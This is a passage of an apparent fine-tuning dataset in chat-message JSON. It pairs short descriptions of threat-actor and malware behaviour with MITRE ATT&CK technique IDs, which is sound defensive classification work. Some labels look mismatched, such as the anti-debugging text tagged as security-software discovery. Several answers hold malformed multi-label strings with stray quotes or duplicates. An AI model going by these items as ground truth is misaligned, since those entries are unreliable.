                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN7 has collected files and other sensitive information from a compromised network."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bazar can use a timer to delay execution of core functionality."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Javali has achieved execution through victims opening malicious attachments, including MSI files with embedded VBScript."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KONNI has relied on a victim to enable malicious macros within an attachment delivered via email."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RogueRobin base64 encodes strings that are sent to the C2 over its DNS tunnel."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A 2016 Novetta report detailed the work of security vendors attempting to unveil tools and infrastructure related to the 2014 destructive attack against Sony Pictures Entertainment"
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT38 has used several code packing methods such as Themida, Enigma, VMProtect, and Obsidium, to pack their implants."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "From these reports, we know that the group uses an abundance of tools and tactics, ranging across zero-day exploits targeting common applications such as Java or Microsoft Office, heavy use of spear-phishing attacks, compromising legitimate websites to stage watering-hole attacks, and targeting over a variety of operating systems – Windows, OSX, Linux, even mobile iOS"
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is a kernel-mode rootkit."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "actors obtain legitimate credentials using a variety of methods and use them to further lateral movement on victim networks."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KONNI can collect the IP address from the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ultimate goal of both Type A and B loaders is to de-obfuscate and load a Cobalt Strike Reflective Loader in memory. At the conclusion of the de-obfuscation process, both variants proceed to load the Reflective Loader in memory, which subsequently executes Cobalt Strike Beacon in memory"
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing', 'T1140 - Deobfuscate/Decode Files or Information', 'T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A  JavaScript backdoor has used Google Apps Script as its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Dust Storm, attackers used VBS code to decode payloads."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TeamTNT has searched for attached VGA devices using lspci."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SUNBURST used the WMI query \"Select * From Win32_SystemDriver\" to retrieve a driver listing."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has leveraged a zero-day vulnerability to escalate privileges."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "P.A.S. Webshell can use predefined users and passwords to execute brute force attacks against SSH, FTP, POP3, MySQL, MSSQL, and PostgreSQL services."
            },
            {
                "role": "assistant",
                "content": "T1110.001 - Brute Force: Password Guessing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZIRCONIUM has used malicious links and web beacons in e-mails for malware download and to track hits to attacker-controlled URL's."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ebury v1.4 has a fallback mechanism whereby a domain generation algorithm (DGA) is used when the attacker doesn’t connect to the infected system via the OpenSSH backdoor for three days. Under these conditions, Ebury will exfiltrate the collected data using the generated domain. Ebury v1.6 has the same mechanism, but there is a minor change to the DGA itself"
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Domain Generation Algorithms', 'T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses a custom crypter leveraging Microsoft’s CryptoAPI to encrypt C2 traffic."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "gh0st RAT can create a new service to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SecretsDump and Mimikatz modules within Impacket can perform credential dumping to obtain account and password information from NTDS.dit."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoetRAT has used spearphishing attachments to infect victims."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN6 used the Plink command-line utility to create SSH tunnels to C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling', 'T1573.002 - Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIVEHANDS can receive a command line argument to limit file encryption to specified directories."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In order to “steal” cryptocurrency from a victim, WeSteal uses regular expressions to look for strings matching the patterns of Bitcoin and Ethereum wallet identifiers being copied to the clipboard. When it matches these, it replaces the copied wallet ID in the clipboard with one supplied by the malware. The victim then pastes the substituted wallet ID for a transaction, and the funds are sent instead to the substitute wallet."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "down_new has the ability to AES encrypt C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To evade protections, Egregor create a Group Policy Object to disable Windows Defender and try to takedown any anti-virus console prior to ransomware execution"
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GALLIUM used the Windows command shell to execute commands."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "One persistence mechanism used by  is to register itself as a Windows service."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RainyDay can use the Windows Command Shell for execution."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NETEAGLE can use HTTP to download resources that contain an IP address and port number pair to connect to for C2."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Nefilim ransomware uses IsDebuggerPresent, CheckRemoteDebuggerPresent, and NtQueryInformationProcess API functions to check if a user-mode debugger is running. Debuggers are used by security analysts to inspect malware’s behavior at the run-time. In the presence of a debugger,  malware samples exhibited less malicious behavior. Moreover, Nefilim uses the NtSetInformationThread API function to evade debugging."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Obviously, the request sent to the C&amp;C is encoded with Base64. The bot subsequently receives its unique ID and uses it for identification at the start of the packet"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AADInternals can enumerate Azure AD groups."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Variants of Emissary have added Run Registry keys to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carbanak also performs brute force tactics or takes advantage of credentials that are saved in web browsers."
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "JPIN can lower security settings by changing Registry keys."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remsec can dump the SAM database."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HEXANE has used cloud services, including OneDrive, for C2."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "(Source: SecureWorks)  The “Windows Folder.exe” executable spawns and injects code into the legitimate notepad.exe Windows process (see Figure 2)"
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing', 'T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BOOSTWRITE has encoded its payloads using a ChaCha stream cipher with a 256-bit key and 64-bit Initialization vector (IV) to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PUNCHBUGGY can delete files written to disk."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Please note that the Ecipekac Layer III loader module is embedded in the encrypted Layer II loader"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HAMMERTOSS has used \"-WindowStyle hidden\" to conceal PowerShell windows."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Based on the use of the relatively unique PLAINTEE malware, the malware’s use of the same file paths on in each cluster, and the similar targeting, we have grouped these attacks together under the RANCOR campaign moniker. Interestingly, the delivery document borrowed a technique which was publicized in late 2017 as being used by the Sofacy threat actors, embedding the main malicious code in a EXIF metadata property of the document. By doing so, the main content of the macro itself (Figure 2) can be kept relatively simple, and the malicious’ codes small footprint can help enable evasion of automated detection mechanisms based on macro content"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "With this approach, the luring message shown in the Figure 2 now serves another purpose. Not only does it lure the victim into enabling the macros, but it also is assigned an alternate text: “fkwarning”, as seen in Figure 5. The macro has code to check this attribute to make sure the luring message shape object is present. If this object is not found, the macro will exit without downloading additional payloads"
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ryuk attempts to encrypt all mounted drives and hosts that have Address Resolution Protocol (ARP) entries (IP addresses) and it enumerates all mounted drives by calling GetLogicalDrives. For each mounted drive, Ryuk calls GetDriveTypeW to determine the drive’s type. If the drive type is not a CD-ROM, files on the drive are encrypted. To retrieve IP addresses that have ARP entries, Ryuk calls GetIpNetTable. It iterates through all entries and then tries to enumerate files and folders on the remote host and encrypt the files"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery', 'T1082 - System Information Discovery', 'T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can enumerate processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Clambling can identify the username on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Squirrelwaffle has gathered victim computer information and configurations."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has used compromised identities to access networks via SSH,  VPNs, and other remote access tools."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GALLIUM used \"whoami\" and \"query user\" to obtain information about the victim user."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The C2 server can also send a PowerShell command to capture and store a screenshot of a victim’s system. POWRUNER will send the captured screenshot image file to the C2 server if the “fileupload” command is issued. Figure 6 shows the PowerShell “Get-Screenshot” function sent by the C2 server"
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a tool that can enumerate current network connections."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chimera has used PowerShell scripts to execute malicious payloads and the DSInternals PowerShell module to make use of Active Directory features."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During C0011, Transparent Tribe relied on a student target to open a malicious document delivered via email."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses a modified version of pentesting script wmiexec.vbs, which logs into a remote machine using WMI."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has used \"mshta.exe\" to execute HTML pages downloaded by initial access documents."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - Signed Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly 2.0 collected data from local victim systems."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A  tool can spawn svchost.exe and inject the payload into that process."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A while loop is used to join a series of data blobs into the allocated buffer, and the contents of this buffer are then decrypted with an XOR based algorithm. Once decrypted, the crypter jumps into the data blob which turns out to be a shellcode responsible for decrypting the actual payload. The shellcode copies the encrypted payload into another buffer allocated by calling the VirtualAlloc API, and then decrypts this with an XOR based algorithm in a similar way to that described above. To execute the payload, the shellcode replaces the crypter’s code in memory with the code of the payload just decrypted, and jumps to its entry point"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ShimRatReporter had the ability to download additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SoreFang can enumerate domain accounts via \"net.exe user /domain\"."
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Proxysvc executes a binary on the system and logs the results into a temp file by using: \"cmd.exe /c \"<file_path> > %temp%\\PM* .tmp 2>&1\"\"."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BitPaymer can enumerate the sessions for each user logged onto the infected host."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "S-Type primarily uses port 80 for C2, but falls back to ports 443 or 8080 if initial communication fails."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remote Shell:  The function above is seen throughout many of the binaries in the Mirage family and is executed when a command is sent from the C&C"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Flagpro has been used to execute the \"net localgroup administrators\" command on a targeted system."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Denis can launch a remote shell to execute arbitrary commands on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Anchor can support windows execution via SMB shares."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can add a new service to ensure  persists on the system when delivered as another payload onto the system."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
